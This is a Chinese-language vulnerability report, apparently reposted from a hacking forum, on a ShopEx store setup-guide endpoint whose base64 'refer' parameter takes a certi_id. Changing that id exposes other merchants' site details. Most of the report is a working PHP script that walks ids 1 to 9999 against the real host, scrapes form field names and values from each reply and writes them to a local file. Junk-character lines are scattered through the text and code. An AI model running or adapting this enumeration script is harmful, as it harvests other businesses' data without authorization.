ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
# W( _1 A7 q5 i/ S& h详细说明：
/ d. F) f, N$ o% R问题出现在shopex 网店使用向导页面
5 b) u9 T* {( x5 J


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
0 y: ]- m' V) s# e! F3 x6 q4 y
7 S" n  k# \6 l+ o- a
; k) N; X& U( c( o
: V7 r" E0 g# Q! C, |refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! U# S. x1 l8 O  j5 ]
% q# }* m( k( X4 p; q, }5 k& g
9 D) ?9 f6 k2 p5 C& O, Y3 m
, C; U$ c# ^2 E4 J$ C) w我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
  R; {* X: q2 l2 W# S8 }0 @
9 j8 N9 n' c# v% _
( L6 w# m5 d! L( _2 D, L
<?php
" l$ J' f7 M1 b3 i+ I
' m9 u7 t" s0 `! E* X2 W! P) p9 K( a9 S                for ($i=1; $i < 10000; $i++) { //遍历

" ~$ D) E9 v* x  o) s                        ShowshopExD($i);
9 ^5 z3 _- s# J$ p
                }

                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
+ L  L+ m1 J1 C
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

6 d5 w$ K' u$ V( W% }" S, j; q        $ch = curl_init($url);

; A( t* H7 n" R; O& N        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

0 Q  M2 y7 p0 D: k8 @0 z. L        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
' U( s6 t1 J6 ]9 O. b
7 o& R3 j2 D) t0 k$ T7 I) U( |, Y        $result = curl_exec($ch);
% Y, `6 V7 F& N/ _) W
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 s% U6 U# g4 I- s+ T  y
% y( k$ O2 }5 V# S1 s0 v1 h        if(strpos($result,$refer))
; D8 h6 I/ r; f" p7 E3 L& n- t1 f
. {0 `# ^# ?" w, e        {
* S  D# A1 [1 c/ v, o' o1 j- M2 s
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

' f* i' F( z, ^' l  B                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
  U! a  e* X7 ]  X
                foreach ($value[1] as $key) {
) s! u4 e, _: Y: [! [; Y; Y
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
: B+ N% E- Z% q. N7 s$ l
4 N3 d! R8 C7 x7 h7 @& f0 C1 w                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

2 J5 S4 @$ z1 N" \6 c/ i                }
( T) T% n8 f! x$ M! Q  g7 f8 P
                echo '--------------------------------'."\r\n";

- a, n% x" a* w) C2 o, B                fclose($fp);
) f2 G4 u# o2 H2 A* ~# q1 g
1 G0 U" G3 M$ A/ f- Z, _' v        }
; h3 O5 y& [2 O( c  \* B- [
/ j6 S0 j, h. e/ q3 f0 n        flush();
# F6 H) G( S# W8 [+ T, G
9 l4 T- I* b# l) `7 r        curl_close($ch);

                }

- Z3 c3 M. @' m, U% D& x5 [?>
/ B; M+ L$ I8 U漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
$ S5 Y% |9 C* y: b0 B